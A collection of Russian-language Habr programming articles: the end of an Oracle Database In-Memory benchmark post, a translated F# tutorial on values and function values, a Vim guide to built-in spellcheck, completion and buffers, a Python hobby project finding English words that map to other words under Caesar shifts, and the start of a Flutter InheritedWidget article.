SQL> select table_name,COLUMN_NAME,INMEMORY_COMPRESSION from v$im_column_level where table_name in ('PERSONS','CREDITS');
```
| | | |
| --- | --- | --- |
| **PERSONS** | **COUNTRY\_ID** | **FOR QUERY HIGH** |
| **PERSONS** | **SALARY** | **FOR QUERY HIGH** |
| **CREDITS** | **COUNTRY** | **FOR QUERY HIGH** |
| **CREDITS** | **CREDIT\_LIMIT** | **FOR QUERY HIGH** |
Результат выполнения аналитического запроса из таблицы PERSONS при использовании Database In-Memory оказывается в ПЯТЬ раз быстрее (ниже приведены тайминги из SQL\*Plus и SQL Monitor из Enterprise Manager):
```
SQL> select /*+ no_inmemory(p) monitor */ sum(salary) from persons p where country_id in (select id from countries where name like 'R%');
Elapsed: 00:00:04.68
SQL> select /*+ monitor */ sum(salary) from persons p where country_id in (select id from countries where name like 'R%');
Elapsed: 00:00:00.48
```
Результат выполнения подобного аналитического запроса из таблицы CREDITS при использовании Database In-Memory оказывается быстрее более чем в СЕМЬСОТ раз:
```
SQL> select /*+ no_inmemory(c) */ sum(credit_limit) from credits c where country in (select id from countries where name like 'R%');
Elapsed: 00:05:16.35
SQL> select /*+ monitor */ sum(credit_limit) from credits c where country in (select id from countries where name like 'R%');
Elapsed: 00:00:00.43
```
В таблице PERSONS мало полей, и она заведомо помещается в память и без использования Database In-Memory. В первом опыте мы сравниваем производительность Oracle Database при строковом (традиционный буферный кэш) и колоночном (In-Memory) хранении данных в памяти. Колоночный способ хранения в этом опыте дает выигрыш в пять раз за счет ряда реализованных в In-Memory механизмов.
В таблице CREDITS полей много, и она либо в память не помещается, либо Oracle сам отказывается класть ее в память, опасаясь «вымывания» кеша. Во втором опыте мы сравниваем чтение из памяти и чтение с диска, что хорошо видно на SQL Monitor (синим цветом обозначается ввод–вывод). Чтение из памяти действительно быстрее в сотни раз, и полученный в этом опыте выигрыш в 700 раз вполне ожидаем.
Какой из этого следует вывод? В Database In-Memory действительно реализована красивая наука, способная показывать ускорения запросов в сотни и тысячи раз. Но это должны быть особенные запросы – например, на таких больших таблицах, что в память помещается только несколько нужных для аналитики полей.
А если при тестировании In-Memory будут использоваться запросы из таблиц типа PERSONS, то результат может быть другим, что, возможно, приведет к обманутым ожиданиям. В некотором роде можно считать этот пост инструкцией “Как нужно и как не нужно демонстрировать работу опции Database In-Memory”.
Мы будем рады вашим конструктивным комментариям. | https://habr.com/ru/post/260455/ | null | ru | null |
# Функциональное мышление. Часть 2
Друзья, продолжаем разбираться в функциональном программировании. Во второй части из этой серии статей вы познакомитесь с основными принципами этой парадигмы разработки и поймёте, как этот подход отличается от объектно-ориентированного или императивного программирования.
* **[Первая часть](https://habr.com/company/microsoft/blog/415189/)**
* **[Вторая часть](https://habr.com/company/microsoft/blog/420039/)**
* **[Третья часть](https://habr.com/company/microsoft/blog/422115/)**
* **[Четвертая часть](https://habr.com/company/microsoft/blog/430620/)**
Значения и фунции-значения
==========================
Ещё раз рассмотрим эту простую функцию.
```
let add1 x = x + 1
```
Что здесь означает «`x`»:
1. Возьми некоторое значение из domain (области определения).
2. Используй имя «`x`» для предоставления этого значения, чтоб к нему можно было обратиться позже.
Использование имени для представления значения называется «привязкой» (binding). Имя «`x`» «привязано» к входному значению.
Так что если вычислить функцию с входным значением, скажем, равным 5, то произойдёт следующее: везде, где стоит «`x`» в изначальном определении, ставится значение 5, аналогично функции «найти и заменить» в текстовом редакторе.
```
let add1 x = x + 1
add1 5
// заменяем «x» with «5»
// add1 5 = 5 + 1 = 6
// результат 6
```
Важно понимать, что это не присваивание. «`x`» не «слот» и не переменная с присвоенным значением, которое можно изменить позднее. Это разовая ассоциация имени «`x`» с неким значением. Это значение — одно из предопределённых целых чисел, оно не может быть изменено. Т.е. однажды привязанный `x` *не может быть изменён*. Метка единожды ассоциированная со значением, навсегда связана с этим значением.
Данный принцип — критически важная часть функционального мышления: *нет «переменных», только значения*.
Функции как значения
--------------------
Если поразмыслить над этим чуть подольше, можно увидеть, что имя «`add1`» само по себе — это просто привязка к «функции, которая увеличивает ввод на единицу». Сама функция независима от имени, которое к ней привязано.
Введя `let add1 x = x + 1`, мы говорим компилятору F# «каждый раз когда ты видишь имя «`add1`», замени его на функцию, которая добавляет 1 к вводу». «`add1`» называется **функцией-значением (function value)**.
Чтобы увидеть, что функция не зависит от своего имени, достаточно выполнить следующий код:
```
let add1 x = x + 1
let plus1 = add1
add1 5
plus1 5
```
Как видно, «`add`'» и «`plus`» — это два имени, привязанных к одной и той же функции.
Идентифицировать функцию-значение всегда можно по её сигнатуре, которая имеет стандартную форму `domain -> range`. Обобщенная сигнатура функции-значения:
```
val functionName : domain -> range
```
Простые значения
----------------
Представим операцию, которая ничего не принимает и всегда возвращает 5.
Это была бы «константная» операция.
Как можно было бы описать это в F#? Мы хотим сказать компилятору: «каждый раз, когда ты видишь имя `c`, замени его на 5». Вот так:
```
let c = 5
```
При вычислении вернётся:
```
val c : int = 5
```
В этот раз нет стрелки сопоставления, всего лишь один int. Из нового — знак равенства с реальным значением, выведенным после него. F# компилятор знает, что эта привязка имеет известное значение, которое будет возвращаться всегда, а именно — число 5.
Другими словами, мы только что определили константу, или, в терминах F#, простое значение.
Всегда можно отличить простое значение от функции-значения, потому все простые значения имеют подобную сигнатуру:
```
val aName: type = constant // Заметьте - стрелки отсутствуют
```
Simple values vs. function values | Простые значение vs. функции-значения
-------------------------------------------------------------------------
Важно понять, что в F#, в отличии от других языков, таких, как C#, существует очень небольшая разница между простыми значения и функциями-значениями. Оба типа являются значениями, которые могут быть связаны с именами (используя ключевое слово `let`), после чего они могут быть переданы везде. На самом деле, скоро мы увидим, идея о том, что *функции — это значения, которые могут быть переданы как входные данные другим функциям*, является одним из ключевых аспектов функционального мышления.
Следует учесть, что существует небольшая разница между простым значением и функцией-значением. Функция всегда имеет domain и range, и должна быть «применена» к аргументу, чтобы вернуть результат. Простое значение не надо вычислять после привязки. Используя пример выше, если мы захотим определить «константную функцию» которая возвращает 5, мы могли бы использовать:
```
let c = fun()->5
// or
let c() = 5
```
Сигнатура таких функций выглядит так:
```
val c : unit -> int
```
А не так:
```
val c : int = 5
```
Больше информации о `unit`, синтаксисе функций и анонимных функциях будет дано позднее.
«Значения» vs. «Объекты»
------------------------
В функциональных языках программирования, таких как F#, большинство вещей называется «значениями». В объектно-ориентированных языках, таких как C#, большинство вещей называются «объектами». Какова разница между «значением» и «объектом»?
Значение, как мы видели выше, является членом domain (домена). Домен целых чисел, домен строк, домен функций, которые сопоставляют целым числам строки, и так далее. В принципе, значения иммутабельны (не изменяемы). И значения не имеют поведения, прикрепленного к ним.
Объекты в каноническом определении являются инкапсуляцией структуры данных с ассоциированным поведением (методами). В общем случае, объекты должны иметь состояние (то есть, быть изменяемыми), и все операции, которые меняют внутреннее состояние, должны предоставляться самим объектом (через «dot»-нотацию).
В F#, даже примитивные значения обладают некоторым объемом «объектного» поведения. Например, можно через точку получить длину строки:
```
«abc».Length
```
Но в целом, мы будем избегать термина «объект» для стандартных значений в F#, приберегая к нему для обращения к полноценным классам, или другим значениям, предоставляющим методы.
Именование значений
-------------------
Стандартные правила именования, используемые для имён значений и функций, в основном, это алфавитно-цифровая строка + символы подчеркивания. Но есть пара дополнений:
1. Можно добавлять апостроф в любой части имени, исключая первый символ.
```
A'b'c begin' // валидные имена
```
1. Последний случай часто используется как метка для «различных» версий какого-либо значения:
```
let f = x
let f' = derivative f
let f'' = derivative f'
```
или для переменных одноименных существующим ключевым словам
```
let if' b t f = if b then t else f
```
Можно также использовать двойные обратные кавычки для любой строки, чтобы сделать ее допустимым идентификатором.
```
``this is a name`` ``123`` //валидные имена
```
Случаи, когда может понадобиться использование трюка с двойными обратными кавычками:
* Когда необходимо использовать идентификатор, который совпадает с ключевым словом.
```
let ``begin`` = «begin»
```
* Когда необходимо использовать естественные языки для бизнес-правил, модульных тестов, или BBD стиля исполняемой документации типа Cucumber.
```
let ``is first time customer?`` = true
let ``add gift to order`` = ()
if ``is first time customer?`` then ``add gift to order``
// Юнит-тест
let [] ``When input is 2 then expect square is 4``=
// code here
// BDD clause
let [] ``I have (.\*) N products in my cart`` (n:int) =
// code here
```
В отличие от C#, конвенция именования F# требует, чтобы функции и значения начинались со строчной буквы, а не прописной (`camelCase`, а не `PascalCase`), кроме тех случаев, когда они предназначены для *взаимодействия с другими* языками .NET. Однако типы и модули используют заглавные буквы (в начале).
Дополнительные ресурсы
======================
Для F# существует множество самоучителей, включая материалы для тех, кто пришел с опытом C# или Java. Следующие ссылки могут быть полезными по мере того, как вы будете глубже изучать F#:
* [F# Guide](https://docs.microsoft.com/en-US/dotnet/fsharp/)
* [F# for Fun and Profit](https://swlaschin.gitbooks.io/fsharpforfunandprofit/content/)
* [F# Wiki](https://en.wikibooks.org/wiki/F_Sharp_Programming)
* [Learn X in Y Minutes: F#](https://learnxinyminutes.com/docs/fsharp/)
Также описаны еще несколько способов, как [начать изучение F#](https://docs.microsoft.com/en-us/dotnet/fsharp/get-started/).
И наконец, сообщество F# очень дружелюбно к начинающим. Есть очень активный чат в Slack, поддерживаемый F# Software Foundation, с комнатами для начинающих, к которым вы [можете свободно присоединиться](http://foundation.fsharp.org/join). Мы настоятельно рекомендуем вам это сделать!
Не забудьте посетить сайт [русскоязычного сообщества F#](http://fsharplang.ru)! Если у вас возникнут вопросы по изучению языка, мы будем рады обсудить их в чатах:
* комната `#ru_general` в [Slack-чате F# Software Foundation](http://foundation.fsharp.org/join)
* [чат в Telegram](https://t.me/Fsharp_chat)
* [чат в Gitter](http://gitter.im/fsharplang_ru)
Об авторах перевода
-------------------
Автор перевода [*@kleidemos*](https://habrahabr.ru/users/kleidemos/)
 Перевод и редакторские правки сделаны усилиями [русскоязычного сообщества F#-разработчиков](http://fsharplang.ru). Мы также благодарим [*@schvepsss*](https://habrahabr.ru/users/schvepsss/) и [*@shwars*](https://habr.com/users/shwars/) за подготовку данной статьи к публикации. | https://habr.com/ru/post/420039/ | null | ru | null |
# Про Vim " Встроенное
Monticello and the Thomas Jefferson Foundation® Adjustable MagnifierПеред тем как перейти к использованию LSP и более навороченным плагинам предлагаю проникнуться более продвинутыми встроенными функциями Vim дабы освоить те приемы работы, прежде всего с исходным кодом, которые будут доступны вам с нуля на практически любом дистрибутиве в любом удаленном терминале.
### Удаленка
А перед этим хотелось бы немного обосновать почему я так ревностно отношусь к использованию неспециализированных решений. Во-первых - это связано с работой. С какой именно? С такой, что приходится в целях безопасности большую часть времени сидеть в закрытых сетях за сетевыми экранами. И с такой, что я не могу просто так взять и полностью продублировать рабочее окружение у себя, скажем, дома. Мне нужна возможность развернуться в каких-то тестовых контурах, которые задействуют старые добрые виртуальные машины без всяких кластеров и докеров. Более того, нужно время от времени взаимодействовать с коллегами на более интимной основе, чем комментирование кода через систему контроля версий. То есть просто взять, подсесть и ручками что-то где-то показать. Да, и нынче, к сожалению или к счастью, пока существуют и такие сценарии взаимодействия.
Во-вторых - привязка к какому-то "любимому" высоко персонализированному софту в конце-концов приводит к нездоровому привыканию и как следствие к "ломке" при вынужденном отказе. А это рано или поздно случается, даже судя по моему небольшому опыту, просто в следствии прогресса, либо в результате необходимости развиваться самому как специалисту. Да, наверное, можно всю сознательную жизнь прожить на какой-то одной платформе и экосистеме. Ну, например, программируя какие-то инженерные или математические приложения на плюсах, или клепая пользовательские формы под винды на каком-нибудь, прости хосподи, дельфи. И даже такие задачи эволюционируют, и когда-то прогрессивный и всеми любимый инструмент может перестать поддерживаться и превратиться со временем в тыкву.
С другой стороны, я преклоняюсь перед программистами и другим технарями, которым удалось на протяжении десятилетий сохранить простые и консервативные методы работы с текстом несмотря на повальное увлечение специализированными визуальными средствами и графическими интерфейсами. Благодаря которым никуда не делись в свое время консольные программы, нынче переживающие ренессанс и потихоньку возвращающие себе былые позиции. Ведь суть программирования, а точнее набор исходного кода и составление документации к нему - это манипуляция тем или иным образом над текстом. Даже диаграммы и графические формы внутри - ни что иное как специальным образом оформленный текст.
Но это меня повело в сторону. Опыт удаленной работы за последние два или три года показал, что ни RDP ни VNC, ни какие-то другие средства удаленного присутствия всё еще не так хорошо подходят для работы программиста. Когда ты львиную долю времени проводишь в работе с текстовыми редакторами, никакого смысла таскать при этом с собой еще и лишнюю графическую информацию по каналам связи нет. Даже при хорошем и стабильном подключении время реакции удаленной машины начинает сперва быть заметной, а потом и вовсе раздражать. Что уж тут говорить о мобильной связи. Всё время приходится куда-то подключаться заново. Надо ли говорить, что терминальные сервера Windows хороши только в первые пару недель работы с ними и то сеансами не более 15 минут. Скоро, когда терминальным сервером пользуются более чем двое-трое, он деградирует и завтра, вместо запущенных и расположенных на своих местах окошек вы увидите запуск нового сеанса. Что очень быстро начинает раздражать, а вскоре делает нормальную работу в современном смысле невозможной.
В-третьих, операционные системы, даже из пингвиньего семейства, иногда ломаются. Страшно сказать, но ломаются иногда и железяки, в том числе и жесткие диски. И, время от времени, злой админ, или вы сами, сдаетесь и бросаете попытки восстановить систему. Заканчивается это тем, что в один прекрасный день видите вместо привычного красочного приглашения голый баш, на который надо всё накатывать заново. Тут то и возникает вопрос, а надо ли было так увлекаться модификациями? Нужны ли мне для этого конкретного сервера, которым я пользовался то раза два от роду, все мыслимые компиляторы и пакетные менеджеры мира что бы поднять красивый и хайповый NeoVim и отредактировать дюжину файлов? Для меня ответ пока - нет. Когда NeoVim станет неотъемлемой частью большинства популярных дистрибутивов - ради бога - я роняя тапки понесусь заменять алиасы. Ну а пока, мне кажется, нулевый и каноничный Vim еще более чем актуален.
### Орфография
Безграмотное письмо, как ни странно, становится моветоном больше именно в технической среде, нежели чем в каком-то документообороте или даже в публицистике. Кривое именование переменных, косноязычное описание интерфейсов, и другой технической документации признак низкой компетенции и неаккуратности. Жизнь требует от разработчика совершенно новых стандартов красноречия, формализма, точности и знания на неплохом уровне технического английского. Командная разработка не терпит произвола и самодеятельности, в том числе и в обращении с естественными языками. Таким образом, орфография это, если хотите, профессиональный этикет. Понятно, ни кто не будет наказывать рублем за опечатки и грамматику, но, согласимся, то в каком состоянии мы получаем легаси код, даже относительно свежий, часто вызывает если не недоумение, то снисходительную улыбку.
Проверка правописания в Vim как и многое другое встроенная, хотя и по умолчанию выключенна. Для русскоязычных пользователей полезно сразу подгрузить словарь русского языка.
```
:set spell spelllang=en_us,ru
```
Имеет смысл ввести эту команду непосредственно в редакторе и потом продублировать в конфигурации `.vimrc` так как в интерактивном режиме Vim предложит самостоятельно скачать словари и создать необходимые директории и файлы.
Включенная проверка орфографии помимо подсвечивания позволяет тут же перемещаться по опечаткам - `[s`, `]s` пополнять словарь - `zg`, а также выводить список похожих слов из словаря - `z=` в нормальном режиме. В режиме вставки же, появляется новый функционал для автоматического дополнения.
### Автодополнение
Vim имеет довольно широкий функционал автоматического дополнения (автодополнения) без использования каких либо расширений. "Из коробки" доступны словари формируемые из текущего буфера, регистров, тегов, файлов и всего что можно. В том числе из орфографического словаря. Посмотреть какие из словарей доступны в данный момент можно командой:
```
:set complete?
```
Где каждая буковка отвечает за свой вариант источника слов. По умолчанию орфографический словарь, за который отвечает буква `k` отключен, и его нужно добавлять самостоятельно. Сделать это несложно, но есть один нюанс. Там, где требуется автоматическое дополнение по умолчанию - например, при наборе исходного кода - добавлять огромный орфографический словарь смысла мало. То есть, неплохо было бы сделать так, что бы орфографический словарь подключался только там где он действительно нужен - при наборе текста на естественном языке.
И тут полезным оказывается еще один встроенный плагин - `ftplugin`, который может различать файлы по имени или по содержимому, вызывая только специфические команды из директории `ftplugin/.vim`.
Поэтому команду подключения орфографического словаря я бы добавил для конкретного типа, либо воспользовавшись автокомандой следующего содержания:
```
:au BufNewFile,BufRead *.txt,*.md set complete+=k
```
Включение словаря в автодополнение делает возможным вызов списка подсказок по горячим клавишам и в режиме вставки.
Помимо орфографии Vim предоставляет массу других вариантов автоматического дополнения по сочетаниям , , и прочими. Среди которых особое место занимает сочетание, которое отвечает за "омни" дополнение. На которое по сути и навешивается расширенный функционал для языков программирования.
Опять же, Vim что-то достаточно хорошо умеет и сам. Используя всё тот же `ftplugin` Vim подключает специфическую для типа файла функцию автодополнения. Для файлов markdown, например, автоматически подключается дополнение HTML тегов. Текущую функцию можно посмотреть командой:
```
:echo &omnifunc
```
Всё что дальше подключается посредством LSP серверов по сути переопределяет эту самую функцию и навешивает на неё какую-то комбинацию, привычную для графических редакторов, или включает по умолчанию для любого набора текста. Можно было бы самостоятельно прописать комбинацию типа к вызову или к нажатию на клавишу `TAB`, но я так делать не буду, потому что, возвращаясь к тираде об удаленке, всё же лучше не отходить далеко от дефолтов.
### Netrw vs NerdTree
К дефолтам современного Vim так же относится плагин `netrw`. Это довольно мощное дополнение, которое фактически является самостоятельной подпрограммой - эдаким файловым менеджером на минималках. Вызывается оно либо специальными командами: `Explore`, `Lexplore` и `Rexplore`, либо просто при попытке отредактировать директорию - `:e .`
Все прелести и трудности использования этого плагина я описывать не буду, так как сам им не особенно пользуюсь. Скажу лишь то, что, опять же, на безрыбье и он достаточно функционален и позволяет решить 90% задач связанных с файлами аналогичных задачам решаемым в диалогах графических редакторов. Отсортировать, переименовать, создать директорию и даже полазить по сети.
Как разработчику, и человеку избалованному более функциональными менеджерами, мне всё-таки больше понравился сторонний плагин - NerdTree. Этот не тащит за собой зависимостей и по идее должен работать без сторонних библиотек и всяческих систем сборки. Зато он может далее интегрироваться с другими плагинами и украшательствами - как минимум с гитом и специальными консольными шрифтами. Так что это ещё один "джентльменский" плагин, без которого жить в принципе можно, но не очень весело. Особенно разработчику.
```
" NerdTree
Plug 'preservim/nerdtree'
" NerdTree git support
Plug 'Xuyuanp/nerdtree-git-plugin'
" VimDevIcons for NerdTree and Airline
Plug 'ryanoasis/vim-devicons'
```
Напомню - все конфигурации описываемые в статьях я всё-таки положил в отдельный [репозиторий](https://github.com/johnrembo/), так что бы не потерять мысль самому и не ввести в заблуждение читателя. Предыдущие строки выполнять не нужно - они сразу идут в файл `./vim/plugins.vim`.
Можно сделать клавиши управления NerdTree похожими на Netrw.
Во всяком случае NerdTree удобнее открывать и закрывать переключателем - открывается древо узким окном слева, там где обычно ожидаешь древо проекта.
```
" nerd tree toggle
nmap e :NERDTreeToggle
```
Тем же сочетанием дерево закрывается, что поначалу не сбивает с толку пользователя еще не привыкшего манипулировать окнами.
### Окна, буферы, вкладки
Окна вообще говоря сбивают с толку и чуть более опытного пользователя. Окнами в понимании (псевдо)графических интерфейсов окна Vim называть, наверное, не очень корректно. Это скорее такой "viewport" что-ли. Который отображает "буфер". Буферы - это еще одна специфичная для консольных редакторов сущность. Это вроде как и не совсем файл, но, с другой стороны, им конечно же является. Скажем так - это файл, который "загружен" в данный момент в Vim. Слово "загружен" тут тоже в кавычках, так как Vim вовсе не обязательно держит весь файл в памяти в отличии от большинства редакторов которые мы привыкли видеть в графических средах. В чем, кстати, заключается его порой удивительная "экономичность" и скорость. Vim скорее в каждый момент времени удерживает дескриптор файла и частично содержимое, которое необходимо в данный момент для отображения или еще каких-то одному ему известных вещей.
И эти буферы соответственно можно отображать в каждый момент времени в одном из окон. Таким образом, то что можно воспринимать как отдельный диалог или элемент интерфейса это на самом деле просто ограниченные области, в которые можно подцепить любой открытый ранее файл или, например, то же дерево файлов и даже терминал. Я бы даже сравнил такой подход с такой аналогией, что в каждый момент времени где-то за пределами окна существуют и живут какие-то кусочки текста, а окно это то что мы передвигаем в нужное место, что бы производить какие-нибудь над этим кусочком манипуляции - эдакая лупа на большой простыне.
Если немного пообвыкнуть с терминологией и концепцией, окна перестают так сильно ввергать в растерянность при случайном их открытии. Более того, со временем начинает нравиться, что всё что является окном в принципе управляется одинаково: те же движения, выделение, редактирование, вставка и всё прочее. И даже то что любое из окон можно "подвинуть" на любой другой буфер, в том числе и отображающийся в другом окне.
С этой точки зрения со временем атрофируется привычка всё время пытаться "закрывать" "ненужные" в данный момент файлы, потому что они "забирают" какое-то там место. С другой, появляется проблема переключения на нужный буфер. И, я осмелюсь предположить, что "вкладки" придумали для какой-то такой цели - что бы держать в один момент времени ограниченное количество "активных" буферов в фокусе. Пусть все остальные буферы болтаются где-то там и ждут своего часа, а вот в данный момент меня интересуют три файла: `documents/builtins.md`, `.vimrc` и `.vim/plugins.vim`. При этом у меня может быть загружено еще несколько разных файлов типа помощи, тот же `netrw`, терминал, да и вообще всё что можно. И что бы быстро переключаться только между этими файлами я создаю три вкладки и бегаю по ним по кругу.
Во всяком случае мне удобно размышлять именно таким образом. Да, и при этом каждая вкладка может иметь свою собственную раскладку окон. Вообще большую часть времени у меня открыто в проекте не более семи-восьми буферов, а чаще два-три, так что переключение даже между ними напрямую не вызывает больших проблем. Я просто мотаю взад-перед буферы, либо пользуюсь тем же fzf для отображения их в виде списка.
Наверное. Если очень привыкнуть к тому что вообще ничего и никогда не надо "закрывать". То, наверное, вкладки имеют более выраженную пользу. Я предпочитаю думать о них как о некоем дополнительном измерении - в глубину что ли. Напишите в комментариях, как вы предпочитаете мыслить об этих сущностях. А я в следующий раз попробую наконец разобрать [Conquer of Completion](https://github.com/neoclide/coc.nvim) - плагин ради которого, собственно всё и затевалось. Вернее даже не конкретно о самом плагине, а о том как в его можно использовать контексте, ну, скажем, работы с БД.
`:quit` | https://habr.com/ru/post/713510/ | null | ru | null |
# 25 видов «Цезаря» и английские слова
В мире криптографии есть много простых способов зашифровать сообщение. Каждый из них по-своему хорош. Об одном из них и пойдёт речь.
Ылчу Щзкгув
-----------
Или в переводе с «Шифра Цезаря» на русский — **Шифр Цезаря**.
**— В чём его суть?**
— Он кодирует сообщение, смещая каждую букву на N пунктов. Классический шифр Цезаря двигает буквы на три шага вперёд. Простыми словами — было «абв», стало «где».
**— А как же буквы в конце алфавита? Что с пробелами?**
С ними всё в порядке. Если смещая букву шифр выходит за рамки алфавита — он начинает отсчёт сначала. То есть, буквы «эюя» обратяться в «абв». А пробелы остаются пробелами.
**— Разве N обязательно должно равняться трём?**
Совсем нет. N может отличаться от тройки. Допускаются любые N в промежутке [1: M-1], где M — количество букв в алфавите.
Такой шифр легко расшифровать, если знать о его существовании. Но меня привлекла не его «надёжность», а кое-что другое.
Завязка
=======
Одним летним днём мне захотелось узнать:
* А что если я зашифрую слово с помощью «Цезаря», а на выходе получу существующее слово?
* Сколько таких слов «перевёртышей» есть?
* И будет ли закономерность, если менять N?
Ответы на эти вопросы я начал искать в те же минуты.
Задача: Найти все слова
=======================
Отступление. Из концертов Михаила Задорнова и личного опыта я понял две вещи:
1. Американцы не обижаются на речи русских комиков.
2. Русский язык силён и могуч. И слов в нём немеряно много.
Поэтому я решил взять за основу английскую мову. К тому же, когда-то давно была инфа, что англоязычные ребята смогли собрать полный словарь английских слов. Что побудило меня найти такой Датасет.
Первая строка вялого гугления навела меня на [этот репозиторий](https://github.com/dwyl/english-words). Автор обещал 479K английских слов в удобных форматах. Мне приглянулся файл json, в котором все слова были уложены в удобном виде для загрузки в словарь Python.
После первого вскрытия оказалось, что слов там поменьше — 370 101 штука. «Но это не беда, ведь для показательного примера вполне хватит», подумал я.
```
words = json.load(open('words_dictionary.json', 'r'))
len(words.keys())
>> 370101
```
Для начала нужно создать алфавит. Решил сделать его в виде списка самым удобным для меня методом. Также нужно было запомнить количество букв в алфавите:
```
abc = list('abcdefghijklmnopqrstuvwxyz')
abc_len = len(abc)
```
Сначала было интересно сделать функцию перевода слова в зашифрованное. Вот что получилось:
```
# слово в цезарь-слово
def cesar(word, abc, abc_len, step=3):
word_list = list(word)
result = []
for w in word_list:
i = abc.index(w)
i = (i+step) % abc_len
wn = abc[i]
result.append(wn)
result = ''.join(result)
return result
```
Решил сделать большой цикл по всем словам и начать их переводить одно за другим. Но наткнулся на проблему. Оказалось, что некоторые слова содержали знак «-», что было удивительно и естественно одновременно.
Недолго думая, я подсчитал количество таких слов и оказалось, что их — всего два. После чего удалил оба, ведь на результате это почти не скажется. На помощь мне родилась эта функция:
```
# удаляет символ «-» и возвращает исправленный словарь
def rem(words):
words_list = list(words.keys())
words = {}
for word in words_list:
if '-' in word:
words_list.remove(word)
else:
words[word] = 1
return words
```
Словарь имел вид:
```
{'a': 1,
'aa': 1,
'aaa': 1,
'aah': 1,
... }
```
Поэтому я принял решение не мудрить и заменить единички на закодированные слова. Для этого написал функцию:
```
# конвертирует словарь {'word': 1} в {'word': 'cesar-word'}
def cesar_all(words, abc, abc_len, step=3):
result = words
for w in result:
result[w] = cesar(w, abc, abc_len, step=step)
return result
```
И, конечно, нужен был большой цикл, который пройдёт по всем словам, найдёт слова-перевёртыши и сохранит результат. Вот он:
```
# проходит по словам и сохраняет результат
def check_all(words_cesar, min_len=0):
words_keys = words_cesar.keys()
words_result = {}
for word in words_keys:
if words_cesar[word] in words_keys:
if len(word) >= min_len:
words_result[word] = words_cesar[word]
return words_result
```
Вы могли заметить, что в параметрах функции стоит «min\_len=0». Он будет нужен в будущем. Ибо особенностью этого Датасета был «странный» набор слов. Таких как: «аа», «aah» и подобные сочетания. Именно они дали первый результат — 660 слов-перевёртышей.
Поэтому пришлось поставить ограничение в пять минимум пять символов, чтобы слова были приятны глазу и похожи на существующие.
```
words_result = check_all(words_cesar, min_len=5)
words_result
>> {'abime': 'delph',
'biabo': 'elder',
'bifer': 'elihu',
'cobra': 'freud',
'colob': 'frore',
'oxime': 'ralph',
'pelta': 'showd',
'primero': 'sulphur',
'teloi': 'whorl',
'xerox': 'ahura'}
```
Да, десять слов-перевёртышей нашлись благодаря алгоритму. Моё любимое сочетание:
primero [Первый] → sulphur [Сера]. Большинство других пар Google-переводчик не распознаёт.
На этом этапе я частично погасил жажду познания. Но впереди остались вопросы типа: «А что же с другими N?»
И с помощью данной функции я нашёл ответ:
```
# цикл для всех N
def loop_all(words, abc, abc_len, min_len=5):
result = {}
for istep in range(1, abc_len):
words_rem = rem(words)
words_cesar = cesar_all(words_rem, abc, abc_len, step=istep)
words_result = check_all(words_cesar, min_len=min_len)
result[istep] = words_result
print('DONE: {}'.format(istep))
return result
```
Цикл закончил работу за 10–15 секунд. Осталось только посмотреть результаты. Но, как я считаю — всё интереснее, когда есть график. А вот финальная функция, которая покажет нам итог:
```
# цветовой график
def img_plot(result):
lengths = []
for k in result.keys():
l = len(result[k].keys())
lengths.append(l)
lengths = np.reshape(lengths, (5,5))
display(lengths)
plt.figure(figsize=(20,10))
plt.imshow(lengths, interpolation='sinc')
plt.colorbar()
plt.show()
>> array([[ 12, 5, 10, 41, 4],
[116, 23, 18, 20, 29],
[ 18, 15, 56, 15, 18],
[ 29, 20, 18, 23, 116],
[ 4, 41, 10, 5, 12]])
```
Итог
====
Ответы на вопросы в начале
==========================
**— А что если я зашифрую слово с помощью «Цезаря», а на выходе получу существующее слово?**
— Такое возможно, даже очень. Некоторые N дают намного бОльше слов, чем другие.
**— Сколько таких слов «перевёртышей» есть?**
— Зависит от N, минимальной длины и, конечно, от Датасета. В моём случае при N=3, минимальной длиной слова в 0 и в 5 — количество слов: 660 и 10 соответственно.
**— И будет ли закономерность, если менять N?**
— Как видно, да! Из графика (или тепловой карты) можно заметить, что цвета симметричны. И значения в матрице результатов говорят об этом. А ответ на вопрос «Почему так?» оставлю читателю.
Минусы этой работы
==================
* Не совсем корректный Датасет. Многие слова неочевидны. Хотя, так может быть. Это же «**все**» слова английского языка.
* Код ~~всегда~~ можно улучшить.
* «Шифр Цезаря» — частный случай «Афинного шифра», где формула:
Для «Шифра Цезаря» А = 1. Кстати, у него больше нюансов, а значит — больше интересного.
Мой рабочий файл с результатом и списком слов-перевёртышей лежит в [этом репозитории](https://github.com/andybeardness/My_DataScience/tree/master/ANALYSIS/Cesar_allWorlds)
Ефзп цжгъл!
=========== | https://habr.com/ru/post/464581/ | null | ru | null |
# InheritedWidget во Flutter
***Перевод статьи подготовлен для студентов курса [«Flutter Mobile Developer»](https://otus.pw/FVWs/).***
---
Корни деревьев виджетов во Flutter могут уходить очень глубоко…
***Очень** глубоко.*
Компонентная природа виджетов Flutter позволяет создавать очень элегантный, модульный и гибкий дизайн приложений. Однако это также может вылиться в появление большого количества шаблонного кода для передачи контекста. Посмотрите, что происходит, когда мы хотим передать accountId и scopeId со страницы в виджет двумя уровнями ниже:
```
class MyPage extends StatelessWidget {
final int accountId;
final int scopeId;
MyPage(this.accountId, this.scopeId);
Widget build(BuildContext context) {
return new MyWidget(accountId, scopeId);
}
}
class MyWidget extends StatelessWidget {
final int accountId;
final int scopeId;
MyWidget(this.accountId, this.scopeId);
Widget build(BuildContext context) {
// где-нибудь недалеко в коде
new MyOtherWidget(accountId, scopeId);
...
}
}
class MyOtherWidget extends StatelessWidget {
final int accountId;
final int scopeId;
MyOtherWidget(this.accountId, this.scopeId);
Widget build(BuildContext context) {
// и повторить
...
```
Если не держать его под контролем, этот шаблон может очень легко расползтись по всей кодовой базе. Лично мы параметризовали более 30 виджетов таким образом. Почти половину рабочего времени виджет получал параметры только для того, чтобы передать их далее, как в `MyWidget` из примера, приведенного выше.
> *Состояние MyWidget не зависит от параметров, и тем не менее, он перестраивается каждый раз, когда меняются параметры!*
Конечно, должен быть способ получше…
Представляю вам [InheritedWidget](https://docs.flutter.io/flutter/widgets/InheritedWidget-class.html).
В двух словах, это особый вид виджета, который определяет *контекст* в корне поддерева. Он может эффективно *предоставлять* этот контекст каждому виджету в этом поддереве. Шаблон доступа должен выглядеть знакомым для Flutter разработчика:
```
final myInheritedWidget = MyInheritedWidget.of(context);
```
